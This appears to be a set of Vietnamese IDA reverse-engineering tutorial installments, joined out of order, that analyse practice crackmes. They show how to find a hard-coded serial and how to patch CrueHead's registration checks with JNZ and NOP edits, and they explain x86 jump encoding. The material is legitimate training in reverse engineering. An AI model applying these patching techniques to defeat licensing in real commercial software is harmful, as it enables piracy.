Các bạn có thể thấy trình biên dịch đã tối ưu hóa một số biến đã khai báo trong chương trình, ví dụ như các biến cookie không được sử dụng sẽ bị loại bỏ và max đã được thay thế bằng hằng số. Bên cạnh đó ta có thông tin về vùng buffer trong mã nguồn của crackme có độ dài là 120 bytes. Buffer là một vùng nhớ dành riêng được sử dụng cho việc lưu trữ dữ liệu. Vậy khi chúng ta không có mã nguồn, làm thế nào trong IDA chúng ta có thể biết được kích thước của một buffer trên stack?

Như trên hình, tại phần đầu của mỗi hàm chúng ta sẽ thấy một danh sách các biến và các tham số của hàm. Nhấp đúp chuột vào bất kỳ một cấu phần nào cũng sẽ đưa chúng ta đến chế độ xem tĩnh của Stack, nơi chứa thông tin về vị trí của các biến, các tham số và buffer, … kèm theo đó là khoảng cách giữa chúng:

Tại cửa số Stack của hàm, chúng ta thấy biến Buf nhưng nó đang được định nghĩa là các byte “db”. Để thay đổi nó thành mảng các ký tự hoặc buffer như khai báo trong mã nguồn, chúng ta nhấn chuột phải tại Buf và chọn tùy chọn Array:

Ta thấy rằng IDA đã tự động nhận biết được mảng này tối đa gồm 120 phần tử (khoảng cách của Buf so với biến tiếp theo), mỗi phần tử trong mảng có kích thước là 1 byte. Nhấn OK để chấp nhận thông tin chuyển đổi mà IDA cung cấp, kết quả có được như hình:

Như vậy, tôi vừa tạo được một buffer gồm 120 bytes trong IDA, hoàn toàn phù hợp với thông tin khai báo trong mã nguồn. Từ khóa “dup” có nghĩa là lặp lại các dữ liệu trong ngoặc 120 lần (Nó tương đương với việc viết ?,?,?,?, … (120 lần)). Vì giá trị là chưa được xác định nên nó chỉ là một buffer rỗng.

Tôi sẽ làm rõ dần các thông tin tại cửa sổ Stack trong các phần sau, nhưng bên dưới biến Buf là một biến dword (dw) được đặt tên là var_4. “s” cung cấp thông tin giá trị thanh ghi EBP đã lưu của hàm gọi (old frame) và “r” cung cấp thông tin về return address trước khi truy cập vào hàm.

Các tham số của hàm sẽ được truyền vào thông qua lệnh PUSH, sau đó sử dụng một lệnh CALL để gọi hàm, lưu return address (r), và phía trên s là vùng dành cho các biến cục bộ khai báo trong hàm.

VARIABLES

S (stored ebp – thưng xut phát t PUSH EBP là lnh đu tiên ca hàm)

R (return address)

ARGUMENTS

Do các tham số được truyền vào ngăn xếp trước khi lưu địa chỉ trở về nên chúng sẽ nằm ở dưới và ở phía trên địa chỉ trở về là thanh EBP được lưu (tạo ra bởi lệnh PUSH EBP – thường là câu lệnh đầu tiên của hàm). Sau đó, ở trên là không gian dành cho các biến cục bộ. Chúng ta sẽ quan sát chi tiết hơn ở những phần tiếp sau.

Để xem nơi nào gọi tới hàm này ta nhấn “X”:

Nhấn OK sẽ đưa ta tới nơi gọi hàm call  sub_401040. Trước lời gọi hàm ta thấy có một số lệnh PUSH truyền tham số cho hàm. Tuy nhiên, nếu chưa từng lập trình thì ta sẽ không rõ thông tin về các tham số này:

Trong trường hợp nạp crackme kèm theo symbol thì IDA nhận diện được đầy đủ các tham số truyền cho hàm như hình dưới đây:

IDA phát hiện ra rằng các tham số này không bao giờ được sử dụng, chúng là các tham số argc, argvenvp mà theo mặc định là các tham số của hàm main(). Nhưng vì không có bất kỳ tham chiếu hoặc sử dụng nào trong hàm, do vậy chức năng IDA sẽ loại bỏ chúng để tối ưu:

Bên cạnh đó, như các bạn thấy trong mã nguồn của crackme, thầy Ricardo cũng không sử dụng/ khai báo các tham số này cho hàm main(), nhưng khi load cùng với symbol thì chúng được sử dụng một cách mặc định. Quay trở lại với crackme, khi chúng ta muốn xem nơi mà một biến được truy cập, chúng ta chọn biến đó và nhấn “X”. Ví dụ, tôi chọn var_4:

Các bạn thấy rằng, biến var_4 sẽ được sử dụng ở hai vị trí.

Bên lề: thông tin bổ sung thêm dành cho những ai chưa biết, đó là về giá trị cookie mà trong code chương trình không hề có. Đây là cơ chế bảo vệ của chương trình tránh khỏi lỗi stack overflow hay còn được gọi theo thuật ngữ chuyên ngành là Stack Canary. Giá trị này được lưu ở đầu của mỗi hàm và sẽ được kiểm tra trước khi thoát khỏi hàm. Chúng ta sẽ đặt tên cho nó là SECURITY_COOKIE:

Khi bạn chạy crackme, bạn để ý nó sẽ in các chuỗi ra màn hình. Điều này có nghĩa khi in các chuỗi, nó gọi tới một lệnh CALL như hình dưới. Nếu bạn đi sâu vào lệnh call này bạn sẽ thấy tác giả không lập trình ra chúng, nhưng chắc chắn cuối cùng nó cũng sẽ gọi tới hàm printf() để in các chuỗi ra màn hình.

Nếu load crackme cùng với symbols, thì IDA sẽ nhận diện được đó là hàm printf() như hình:

Khi đào sâu vào bên trong lệnh CALL, ta sẽ thấy rằng các tham số là các chuỗi sẽ được in ra màn hình console thì ta hoàn toàn có thể suy luận rằng nó là hàm printf().

Chúng ta thấy bên trong hàm kết thúc bằng hàm vfprintf, do đó đổi lại tên hàm như sau:

Như đã phân tích ở trên, chương trình có mảng Buf với kích thước 120-bytes, hãy phân tích xem code sẽ làm gì với Buf này. Ta thấy rằng nó được truyền vào cho hàm gets_s(), đó là hàm nhận những gì chúng ta nhập vào từ màn hình console.

Hàm này nhận hai tham số truyền vào:

  • Tham số thứ nhất là một con trỏ trỏ đến buffer.
  • Tham số thứ hai là kích thước tối đa cho phép chúng ta gõ.

Hãy xem trong trường hợp ví dụ của chúng ta.

Lệnh LEA được sử dụng để lấy ra địa chỉ của một biến, trong trường hợp này là con trỏ trỏ tới Buf, và buffer được truyền cho hàm thông qua lệnh PUSH EAX. Tiếp theo là PUSH 0x14 để quy định số lượng kí tự tối đa được gõ trên màn hình:

Chúng ta thấy trong mã nguồn của crackme, thầy Ricardo gọi hàm gets_s() với hai đối số là buf và kích thước tối đa mà thầy đã khai báo thông qua một biến được gọi là max, có giá trị 20. Tuy nhiên, trình biên dịch, để tiết kiệm không gian đã sử dụng luôn số 20 (ở hệ hexa là 0x14) như là một tham số cho hàm vì sau đó code không còn sử dụng đến biến max nữa.

Vì vậy, không cần phải thực thi crackme, tôi hoàn toàn biết được buffer của tôi sẽ dùng để chứa các ký tự mà tôi gõ tại màn hình console. Sau đó, ở đoạn code bên dưới, ta thấy cùng một con trỏ tới bộ đệm được truyền là một tham số cho hàm atoi():

Thông tin hàm như sau:

Hàm atoi() thực hiện chuyển đổi một string (kiểu char*) thành số nguyên int. Hàm sẽ trả về 0 nếu convert không thành công. Do vậy, ý tưởng ở đây là những gì bạn nhập trên màn hình sẽ được chuyển đổi sang số. Ví dụ nếu bạn nhập 41424344, nó sẽ chuyển đổi sang dạng hexa và lưu kết quả chuyển đổi vào thanh ghi EAX.

Như trên hình, hàm atoi() sau khi thực hiện sẽ lưu kết quả trả về trong thanh ghi EAX, tiếp theo gán vào thanh ghi ESI và sau khi được in ra màn hình sẽ tới đoạn code thực hiện so sánh giá trị của ESI với một số mặc định 0x124578.

Tóm lại, số ta gõ được chuyển đổi từ một chuỗi số thập phân sang số ở hệ thập lục phân và so sánh với hằng số trên. Nếu so sánh không bằng nhau (JNZ), ta sẽ phải nhận thông báo “Bad Reverser”, còn ngược lại nếu bằng thì sẽ nhận thông báo “Good Reverser”. Sử dụng Python bar của IDA để chuyển đổi số 0x124578 về dạng thập phân:

Kết quả sau khi chuyển đổi ta được một số thập phân là 1197432:

Thực thi crackme và nhập số vừa tìm được:

Như các bạn thấy đây là một ví dụ đơn giản của quá trình static reversing, qua đó giúp bạn làm quen hơn với LOADER của IDA.

Hẹn gặp lại các bạn ở phần 10!!

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


Bên lề: Trong các phần trước, tôi đã giới thiệu tới các bạn nhưng câu lệnh Asm chính để các bạn hiểu được vì sao Assembly là ngôn ngữ của “Reverse Engineering”. Đây không phải là khóa học về Asm nên tôi không thể và cũng không đủ khả năng để đề cập được hết tất cả các lệnh. Trong quá trình tìm hiểu, không biết lệnh nào các bạn hãy chủ động tìm kiếm thêm. Còn ở phần này, chúng ta sẽ tìm hiểu tiếp về LOADER của IDA.

Với nhiều người, thông thường khi chưa có nhiều kinh nghiệm về static reversing, khi phân tích một chương trình chúng ta sẽ bổ sung thêm các ghi chú, gán nhãn hay đổi tên một số thứ (hàm, biến, tham số) để có được một cái nhìn tốt hơn và phần lớn chúng ta đều nhờ tới sự hỗ trợ của trình gỡ lỗi (debugger). Tuy nhiên, việc thực hành nhiều hơn với static reversing có thể sẽ giúp ta nâng cao khả năng đọc code và phân tích các chương trình mà không cần hoặc gần như ít khi phải sử dụng tới việc debug.

Nói chung, các chương trình sẽ rất lớn và phức tạp, do vậy chúng ta có thể sẽ không reverse hoàn toàn chương trình mà chỉ là một hoặc vài hàm mà ta quan tâm và cần cho mục đích của mình. IDA là một công cụ cho phép ta tương tác để có được kết quả reversing tốt nhất mà gần như không có công cụ nào làm được hoặc sẽ gặp nhiều khó khăn hơn (đây cũng chỉ là một ý kiến nhận định chủ quan mà thôi). Tuy nhiên, để thực hiện được điều này còn phụ thuộc vào kinh nghiệm riêng của từng người và có nhiều người cũng không cần phải sử dụng đến IDA.

Đầu tiên, không có cách nào khác ngoài việc cần phải thực hành thường xuyên, liên tục và nâng cao hiệu quả trong quá trình sử dụng IDA. Nếu bạn thất bại hoặc không đạt được kết quả tốt thì cần phải thực hành nhiều hơn nữa. IDA vốn đã không phải là một công cụ dễ sử dụng, nó có rất nhiều tính năng, có nghĩa là mỗi ngày chúng ta có thể học những thứ mới hơn khi chúng ta sử dụng nó.

Phân tích crackme CrueHead

Trong phần này, chúng ta sẽ bắt đầu quá trình phân tích tĩnh với crackme của CRUEHEAD. Điều quan trọng không phải là ngay lập tức giải quyết crackme này mà là cách ta làm quen với LOADER của IDA và nâng cao sự tự tin của chúng ta trong quá trình phân tích.

Sau khi để IDA phân tích xong crackme, truy xuất menu View > Open Subview > Segments, chúng ta sẽ thấy có các segments được nạp tự động bởi LOADER. Nhìn vào hình dưới, ta có thể suy đoán rằng nội dung HEADER của file sẽ được nạp tại địa 0x400000, phía trước các sections. Tuy nhiên, ở thời điểm này nó không được nạp vào vì lúc ta load file lần đầu tiên và nhấn OK, IDA sẽ tự động chỉ tải một số sections của file thực thi mà không kèm theo HEADER.

Chúng ta thấy rằng ứng với tên của từng sections sẽ có địa chỉ bắt đầu và kết thúc tương ứng, kèm theo đó là các cột RWX thông báo cho ta biết section đó có quyền đọc (READ (R)), quyền ghi (WRITE (W)) hay quyền thực thi (Execute (X)). Tiếp theo đó, ta thấy hai cột có tên DL tương ứng với DEBUGGERLOADER. Cột D trống vì nó được gọi khi chúng ta tải chương trình ở chế độ DEBUGGER và hiển thị cho chúng ta các segments được nạp vào nó. Cột L cho ta thông tin là các segments này được nạp bởi trình LOADER của IDA. Các cột phía sau không quan trọng nên tôi sẽ không đề cập chi tiết thêm ở đây.

Ở ví dụ này, không cần thiết phải nạp thêm Header. Trong phần trước chúng ta đã thấy rằng, khi ta thay đổi một lệnh bằng một lệnh nhảy tới địa chỉ 0x400000, nó sẽ được đánh dấu bằng màu đỏ như là một địa chỉ không được nạp trong LOADER.

Nếu muốn nạp thêm HEADER, mở lại CRACKME.exe một lần nữa:

Lựa chọn Overwrite để ghi đè và tạo lại một bản phân tích mới:

Đánh dấu vào lựa chọn Manual Load và nhấn OK:

IDA sẽ hỏi xem ta có muốn tự thay đổi địa chỉ base – nơi mà file thực thi sẽ được nạp. Ở đây, ta giữ nguyên giá trị mà IDA cung cấp và nhấn OK.

Nhấn Yes trên tất cả các thông báo để cho phép IDA nạp toàn bộ các thông tin:

Với việc thực hiện như trên, ta đã để cho LOADER của IDA nạp tất cả các sections bao gồm cả HEADER. Tuy nhiên, việc làm như vậy thường không cần thiết. Bây giờ, tôi sẽ lưu một bản Snapshot bằng cách chọn File > Take Database Snapshot và sau đó thay đổi bằng một lệnh nhảy JMP 0x400000 như đã làm ở phần trước:

Kết quả sẽ như hình dưới đây:

Ta thấy rằng nó không còn đánh dấu địa chỉ 0x400000 bằng màu đỏ mà thay vào đó là thông tin ImageBase. Nhấp đúp vào đó IDA sẽ đi tới địa chỉ ImageBase này:

Như trên hình, chúng ta sẽ thấy Header của file được nạp tại địa chỉ 0x400000 và được gắn một tag là ImageBase, cùng với đó là những thông tin liên quan tới các trường của PE Header mà trình Loader của IDA nhận diện được. Giờ quay trở lại bản snapshot mà ta đã chụp trước khi sửa file, vào View > Database Snapshot Manager (Ctrl+Shift+T), chọn bản snapshot và nhấn Restore:

Nếu các bạn đã từng thực hiện crack hay reverse một ứng dụng, bạn sẽ thấy các strings trong chương trình đó là rất quan trọng và thường sẽ là dấu hiệu để tìm kiếm đầu tiên. Để tìm kiếm các strings trong IDA, chọn View > Open Subview > Strings (phím tắt là Shift+F12):

Kết quả, ta thấy có rất nhiều chuỗi được tìm thấy ở nhiều sections khác nhau. Vậy đâu sẽ là string mà chúng ta cần quan tâm? Ta chạy thử crackme.exe bên ngoài IDA, vào Help chọn Register, crackme yêu cầu nhập tên và mật khẩu. Nếu nhập thông tin bất kỳ, tôi nhận được thông báo sau “No luck there, mate!”:

Ghi nhớ thông tin này, quay trở lại IDA và tìm kiếm chuỗi trong danh sách kết quả các chuỗi có được:

Nhấn đúp chuột vào chuỗi này sẽ tới đây:

Tại địa chỉ 0x402169 có chứa nội dung của chuỗi cần tìm, nếu chúng ta nhấn D tại địa chỉ này sẽ chuyển đổi nó về dạng data, lúc đó IDA sẽ hiển thị chuỗi theo dạng các bytes rời rạc như hình dưới đây:

Nếu nhấn A tại địa chỉ đó, chúng ta sẽ khôi phục lại được chuỗi ban đầu. Tiếp theo nhấn X để tìm kiếm các đoạn code có sử dụng tới chuỗi này. Kết quả có được như hình dưới đây:

Ta thấy rằng chuỗi trên được sử dụng bởi hai hàm khác nhau: tại sub_401362sub_40137E. Cả hai hàm này đều nằm ở phía trên địa chỉ mà chúng ta đang đứng. Đó là lý do tại sao ở cột Direction hiển thị thông tin là Up (tức là ở phía trên). Như vậy, trong trường hợp crackme mà ta đang phân tích thì đây là hai hàm khác nhau bởi IDA cung cấp cho chúng ta địa chỉ các tham chiếu là hàm + XXXX.

Hình trên là code của hàm đầu tiên và hình dưới là code của hàm thứ hai:

Như vậy, ta đã có được thông tin của các đoạn code sẽ hiển thị thông báo “No luck!”. Tới đây, ta có thể sử dụng một trình debugger khác như OllyDbg/ x64dbg, đặt các breakpoint tại các hàm trên và quan sát việc dừng chương trình khi nhập các thông tin về usernamepassword hoặc là debug chương trình bằng cách sử dụng chính trình Debugger của IDA. Tuy nhiên, ở phần này tôi và các bạn sẽ tập trung chính vào quá trình phân tích tĩnh để tìm hiểu code của crackme.

Phân tích và Patch thông báo thứ nhất

Phân tích hàm đầu tiên trước:

Như quan sát trên hình, hàm này gọi đến hàm API là MessageBoxA để hiển thị thông báo “No luck there, mate!” mà ta đã nhìn thấy khi thực thi crackme. Hàm API này nhận các tham số truyền vào gồm các chuỗi “No luck!” – ứng với tiêu đề của cửa sổ và “No luck there, mate!” – ứng với nội dung của thông báo. Như vậy, ta kết luận hàm này chỉ làm nhiệm vụ hiển thị thông báo lỗi, ngoài ra không làm thêm công việc gì khác.

Qua đó, ta thấy rằng đoạn code ở địa chỉ kia cũng thực hiện công việc tương tự là hiển thị thông báo lỗi, nhưng có thể ở ngữ cảnh của một quá trình kiểm tra khác. Do đó, để có thể nhận được thông báo thành công, ta cần phải tránh được hai vùng code gọi tới thông báo này. Nhấn X để tìm kiếm các tham chiếu đến hàm 0x401362, ta có được một kết quả duy nhất như hình dưới. Trước khi đi đến địa chỉ đó, ta đổi tên hàm 0x401362 bằng một cái tên nào đó gợi nhớ cho chúng ta, ví dụ như SHOW_ERROR.

Để đổi tên hàm, nhấn phím tắt N:

Sau khi đổi tên xong, ta chuyển tới vị trí tham chiếu thực hiện lời gọi tới hàm trên:

Tại đây, ta thấy khối lệnh đưa chúng ta tới SHOW_ERROR là một khối lệnh thực hiện so sánh trước đó nhằm đưa ra quyết định rẽ nhánh. Thông thường, như tôi khi thực hiện reversing, tôi muốn quan sát thấy mọi thứ một cách trực quan và rõ ràng. Rất may mắn là IDA cung cấp cho chúng ta tính năng thay đổi màu các khối lệnh, với các khối lệnh không mong muốn hay là “bad block” tôi thường dùng màu đỏ, với các khối lệnh mong muốn hay “good block” tôi thường để màu xanh.

Tại mỗi block sẽ có biểu tượng để thay đổi màu sắc tại từng khối như trên hình minh họa. Với nhiều người có thể công việc này là không cần thiết, nhưng khi phân tích các hàm phức tạp, nó sẽ hỗ trợ rất nhiều.

Như trên hình, ta thấy có một lệnh nhảy có điều kiện, tuy nhiên tạm thời ta sẽ không phân tích vì nó nhảy sang một khối lệnh khác. Quan sát khối lệnh tại địa chỉ 0x40124c, ta thấy có một lệnh call, đi vào code bên trong lệnh call này bằng cách chọn 0x40134d và nhấn Enter:

Căn cứ vào code tại đó, ta có thể biết được đây là hàm cho hiển thị thông báo “Good work!” khi ta nhập đúng thông tin nào đó. Như vậy, rõ ràng là chương trình sẽ kiểm tra và đưa ra quyết định đi tới đây hay rẽ nhánh sang khối lệnh hiển thị thông báo “No luck!”.

Tiến hành đổi tên hàm này thành SHOW_GREAT:

Sau đó quay trở lại đoạn code rẽ nhánh, thực hiện thay đổi màu cho khối lệnh này sang màu xanh, tương tự như hình minh họa dưới đây:

Và cũng như chúng ta sẽ làm cho các phần khác của chương trình, để có thể dễ dàng quay trở lại ở đây, ta chọn lệnh JZ tại địa chỉ 0x401243, sau đó vào menu Jump và chọn Mark Position (Alt+M). Đặt một tên sao cho dễ nhớ, ví dụ DECISION_FINAL:

Sau khi thực hiện xong, truy xuất Jump > Jump To Marked Position, chúng ta sẽ thấy danh sách các ví trí mà đã đánh dấu và ta có thể đi đến vị trí mong muốn trong trường hợp chúng ta bị lạc đâu đó trong quá trình phân tích chương trình:

Với thông tin về lệnh nhảy có được thì có nghĩa là về mặt lý thuyết, nếu ta thay lệnh JZ bằng lệnh JNZ, chương trình sẽ đưa chúng ta đến block Good Work ngay cả khi thông tin ta nhập vào là không hợp hệ. Tôi sẽ thử patch bằng plug-in Keypatch xem kết quả thế nào:

Sau đó lưu lại thay đổi bằng Edit > Patch program > Apply Patches To Input File:

Chạy và kiểm tra file đã patched:

Ok, như trên hình thì ta đã patch thành công rồi 🙂 .

Phân tích và Patch thông báo thứ hai

Tuy nhiên, trong trường hợp người dùng lại nhập thông tin theo kiểu khác như hình trên (nhập vào tên là có kèm theo số), khi nhấn OK thì chương trình vẫn sẽ văng ra thông báo lỗi. Như vậy, ta phải tiếp tục phân tích và patch tiếp để hoạt động đúng như ta muốn.

Ta tới đoạn code hiển thị thông báo lỗi tương tự tại địa chỉ 0x004013AC, là khối được tôi đổi thành màu đỏ như hình dưới đây:

Rõ ràng, phía trước khối lệnh này là lệnh thực hiện so sánh với 0x41 tương ứng với chữ cái ‘A‘ trong bảng mã ASCII và nếu thấp hơn (JB) sẽ hiển thị thông báo lỗi. Do vậy, nếu chúng ta nhập vào số thay vì chữ cái tại textbox Name, rõ ràng là các số có mã ASCII thấp hơn 0x41 (số 0 là 0x30, số 1 là 0x31, v..v..). Chính vì vậy, khi kiểm tra trong tên có chứa số thì crackme sẽ hiển thị thông báo lỗi. Ta sẽ patch tại đây, nhưng ta không thể thay lệnh JB bằng lệnh JNB được, bởi vì nếu làm thế ta sẽ nhận được thông báo lỗi nếu ta chỉ nhập chữ cái trong ô textbox Name. Trong bài viết sau, tôi sẽ phân tích crackme này một cách hoàn chỉnh.

Ta chuyển sang chế độ Text bằng cách nhấn phím Space bar:

Chúng ta thấy nó sẽ nhảy tới đoạn code hiển thị thông báo lỗi (đường chấm chấm ở bên trái cho biết đích của lệnh nhảy), do đó, nếu tôi thay bằng lệnh NOP thì sẽ không nhảy và tiếp tục thực hiện các lệnh tiếp theo mà không tới đoạn code hiển thị lỗi.

Quay trở lại với chế độ đồ họa bằng cách nhấn Space bar.

Sử dụng Keypatch để thực hiện patch lệnh như hình minh họa trên. Các bytes của lệnh nhảy sẽ được thay bằng opcode 0x90 của lệnh NOP:

Sau khi patch xong save lại như đã thực hiện ở bước trước:

Cuối cùng kiểm tra thành quả sau khi patch:

Ok, đây mới chỉ là phần khởi động để các bạn làm quen với việc phân tích tĩnh và thực hiện sửa lại code của chương trình thông qua việc patch lệnh. Trong các phần sau, chúng ta sẽ thực hiện reverse hoàn toàn crackme này và tạo một keygen. Cứ đi từ từ từng bước một, chậm và chắc!

Bên lề: Như các bạn đã thực hành theo bài viết, toàn bộ quá trình thực hiện về bản chất là thay đổi luồng thực thi của chương trình hay nhánh thực hiện trong chương trình. Việc phân nhánh thực hiện này được quyết định vào điều kiện so sánh trước đó. Các bạn có kiến thức về lập trình cũng biết có hai cấu trúc lệnh rẽ nhánh phổ biến hay dùng là ifif-else:

Với các khối lệnh trên thì ở mức bên dưới sẽ sử dụng các câu lệnh assembly là testcmp để kiểm tra điều kiện, từ đó bật các cờ của thanh ghi EFLAGS. Dựa vào trạng thái của cờ thì các lệnh nhảy jcc sẽ nhảy tới các block code tương ứng. Tuy nhiên có một lưu ý quan trọng khi các bạn đọc mã asm là điều kiện sẽ được đảo ngược lại. Tức là, ở mã nguồn của chương trình, bạn viết lệnh kiểm tra một biến var_1 bằng 0, nhưng sau khi biên dịch chương trình thì trình compiler sẽ đảo ngược lại điều kiện này, do đó lệnh điều kiện (ở đây là lệnh nhảy) sẽ kiểm tra biến var_1 khác 0.

Để có cái nhìn trực quan hơn tôi sẽ tổng kết bằng hai hình minh họa được trích ra từ cuốn sách Secrets of Reverse Engineering của Eldad Eilam:


Hẹn các bạn ở phần 9.

Xin gửi lời cảm ơn chân thành tới thầy Ricardo Narvaja!

m4n0w4r

Ủng hộ tác giả

Nếu bạn cảm thấy những gì tôi chia sẻ trong bài viết là hữu ích, bạn có thể ủng hộ bằng “bỉm sữa” hoặc “quân huy” qua địa chỉ:

Tên tài khoản: TRAN TRUNG KIEN
Số tài khoản: 0021001560963
Ngân hàng: Vietcombank


Phần này sẽ là một phần khá thú vị về các lệnh liên quan đến việc kiểm soát luồng thực thi của chương trình hay còn gọi với một thuật ngữ chuyên ngành là flow control. Như các bạn đã biết rằng thanh ghi EIP luôn trỏ vào lệnh tiếp theo sẽ được thực hiện và khi được thực thi thì EIP sẽ trỏ tới lệnh kế tiếp.

Nhưng bản thân các chương trình cũng có các lệnh dùng để kiểm soát luồng thực thi, từ đó có thể chuyển hướng thực hiện đến một lệnh mong muốn. Trong phần này, chúng ta sẽ xem xét các trường hợp cụ thể của lệnh.

Lệnh nhảy không điều kiện

Lệnh JMP

JMP A; giống như lệnh goto trong lập trình bậc cao Lệnh JMP là một lệnh nhảy không phụ thuộc vào điều kiện và A sẽ là một địa chỉ bộ nhớ mà chúng ta muốn chương trình nhảy tới.

JMP SHORT là một lệnh nhảy ngắn gồm có 2 bytes, có khả năng nhảy về phía trước và ngược lại. Hướng nhảy được chỉ định bởi giá trị của byte thứ hai vì byte đầu tiên là opcode (0xEB) của lệnh. Lệnh này không thể nhảy quá xa.

Nếu thiết lập tùy chọn trong IDA để hiển thị opcode của các lệnh, chúng ta sẽ thấy opcode EB tương ứng với lệnh JMP và lệnh này sẽ nhảy 5 bước về phía trước kể từ vị trí kết thúc lệnh. Nghĩa là địa chỉ đích của lệnh được tính như sau:

Lấy địa chỉ bắt đầu của lệnh cộng với 2 là số bytes chiếm bởi lệnh và sau đó cộng thêm 5 (byte thứ hai – bước nhảy). Rõ ràng, việc nhảy tới hoặc lùi với một byte duy nhất không cho chúng ta đạt được bước nhảy xa. Bước nhảy cao nhất sẽ là 0x7f, chúng ta sẽ lấy một ví dụ bên dưới.

Bên lề: Khi chúng ta thực hiện một số thay đổi sẽ phá vỡ cấu trúc của hàm, để thuận tiện ta nên tiến hành tạo một bản chụp (snapshot) cơ sở dữ liệu nhằm giúp ta quay trở lại trạng thái trước khi thay đổi. Hãy làm việc này vào bất cứ lúc nào bạn nghi ngờ về việc thay đổi sẽ có thể làm phá vỡ cấu trúc hàm và không biết cách nào để khôi phục lại.

IDA sẽ yêu cầu chúng ta đặt tên cho database được snapshot. Có thể quản lý snapshot này thông qua View > Database Snapshot Manager:

Tại đây, chúng ta có thể xem danh sách tất cả các snapshot và ngày chụp, cùng với nút Restore cho phép chúng ta có thể trở về trạng thái chúng ta muốn từ những bản snapshot mà chúng ta đã lưu.

Hãy xem điều gì sẽ xảy ra nếu tôi thay 5 thành 7F:

Sử dụng tính năng Patch Bytes của IDA để thực hiện thay đổi lệnh như trên hình. Sau khi patch xong, ta thấy bước nhảy sẽ dài hơn và vượt ra ngoài hàm. Nhấn phím space bar để thoát khỏi chế độ đồ hoạ, chuyển sang chế độ Text:

Chúng ta thấy rằng lệnh nhảy của chúng ta vẫn OK và nhảy tới địa chỉ là 0x4013a5. Tiếp theo, nếu tôi thay 0x7f bằng 0x80 thì sẽ thế nào? Quay về chế độ đồ họa và thực hiện thay đổi thành 0x80. Sau đó lại chuyển về chế độ text, ta có kết quả như hình:

Chúng ta thấy rằng bây giờ lệnh nhảy đã chuyển thành lệnh có bước nhảy lùi lớn nhất.

Trong trường hợp này, do ta thực hiện bước nhảy lùi, để đảm bảo cho công thức tính toán và bởi Python không biết được đây là bước nhảy tiến hay nhảy lùi từ giá trị này, ta phải sử dụng giá trị -0x80 (được biểu diễn bằng một dword ở hệ thập lục phân là 0xFFFFFF80) và sau đó thực hiện AND kết quả tính toán được với 0xFFFFFFFF nhằm xóa toàn bộ các bit lớn hơn một số 32 bit. Kết quả ta có được địa chỉ nhảy đến là 0x4012a6.

Nếu tôi sử dụng giá trị 0xFF thì ta sẽ có một bước nhảy tối thiểu vì giá trị hex 0xFF là biểu diễn của -1. Ở đây, tôi thay bằng 0xFFFFFFff. Luôn nhớ rằng ta cần cộng thêm 2 bytes (đó là độ lớn của lệnh), do đó, kết quả tính toán sẽ có được địa chỉ cần nhảy tới là 0x401325.

Nếu chúng ta tiếp tục với một giá trị khác, ví dụ 0xFE, tức là nhảy ngược -2, vậy theo công thức sẽ cộng thêm 0xFFFFFFFE.

Với giá trị này thì lệnh nhảy sẽ nhảy tới chính câu lệnh đó hay còn được gọi là Infinite Loop, bởi vì nó luôn luôn lặp đi lặp lại chính nó và không thể thoát được.

Bên lề: 2 bytes “0xEB 0xFE” được gọi là 2 bytes “thần thánh”. Chúng được sử dụng trong quá trình Unpacking, Debug Malware. Thông thường malware sẽ tạo ra các thread hoặc bằng các kĩ thuật Process Hollowing/ RunPE để thực thi malicious code, lúc này ta sẽ tìm cách patch bytes tại entry point thành 0xEB 0xFE để tạo infinite loop (lưu ý nhớ lại byte gốc của EP), sau khi patch xong để process thực thi bình thường và rơi vào vòng lặp vô tận, tiến hành attach tiến trình mới vào một trình debugger khác để debug tiếp.

Cứ như vậy, nhảy -3 sẽ là 0xFD, vì vậy nó sẽ nhảy đến địa chỉ 0x401323.

Rõ ràng với những bước nhảy ngắn, chúng ta không thể nhảy tới bất kỳ địa chỉ nào vì bị giới hạn ở một vài byte xung quanh nơi chúng ta đang sử dụng nó, do đó ta cần sử dụng bước nhảy dài.

Như trên hình, ta thấy một vài lệnh nhảy dài. Tiền tố loc_ đứng đằng trước hàm ý rằng đó là địa chỉ cần nhảy tới:

Trong hình, ta thấy một lệnh nhảy dài, khoảng cách giữa 0x4026ae0x4029b3 là lớn hơn nhiều so với những gì chúng ta có thể đạt được với một bước nhảy ngắn.

Khoảng cách sẽ được tính bằng công thức lấy địa chỉ cuối cùng – địa chỉ ban đầu – 5 (là chiều dài của lệnh) (Final address – start address – 5), kết quả có được là 0x300. Đó chính là dword đứng cạnh opcode của bước nhảy dài 0xe9.

Nếu tôi sử dụng plugin Keypatch để thay đổi địa chỉ đích của lệnh nhảy đến một hướng ngược lại, ví dụ 0x400000:

Tuy nhiên, nó được đánh dấu màu đỏ bởi đó không phải là một địa chỉ hợp lệ. Thử áp dụng công thức tính toán trong Python:

Kết quả có được là -0x26b3:

Chuyển sang hexa là FFFFD94D, đó là các bytes đứng cạnh opcode 0xe9, được bố trí theo kiểu Little-endian:

Lệnh nhảy có điều kiện (Jcc)

Thông thường, các chương trình phải đưa ra các quyết định rẽ nhánh thực thi chương trình, điều này sẽ căn cứ vào việc so sánh các giá trị để chuyển hướng thực hiện chương trình sang một điểm khác.

Ta có lệnh so sánh:

CMP A, B; so sánh toán hạng thứ nhất với toán hạng thứ hai và bật các cờ trên thanh ghi EFLAGS dựa theo kết quả tính toán (việc tính toán tương tự như lệnh SUB, nhưng khác ở chỗ kết quả tính toán không được lưu lại).

Tôi cần chương trình thực hiện so sánh giữa A và B. Dựa vào mối quan hệ giữa chúng, chương trình sẽ thực hiện một công việc nào đó nếu thỏa mãn, còn không chương trình sẽ thực hiện một công việc khác. Vì vậy, bình thường sau khi so sánh sẽ làm thay đổi các FLAGS, căn cứ vào trạng thái của cờ, lệnh nhảy có điều kiện sẽ quyết định có thực hiện hay không.

Trong hình trên, chúng ta thấy một ví dụ về lệnh nhảy có điều kiện là JZ. Lệnh này sẽ thực hiện nếu cờ ZF được bật. Điều này được quyết định bởi lệnh CMP trước đó. Khi hai thanh ghi EAX và EBX bằng nhau, CMP thực hiện phép trừ hai thanh ghi, kết quả sẽ bằng 0 và do đó cờ ZF được bật thành 1. Khi cờ ZF được kích hoạt thì sẽ thực hiện lệnh nhảy theo hướng mũi tên màu xanh lá cây, còn nếu hai thanh ghi khác nhau thì sẽ đi theo hướng của mũi tên đỏ.

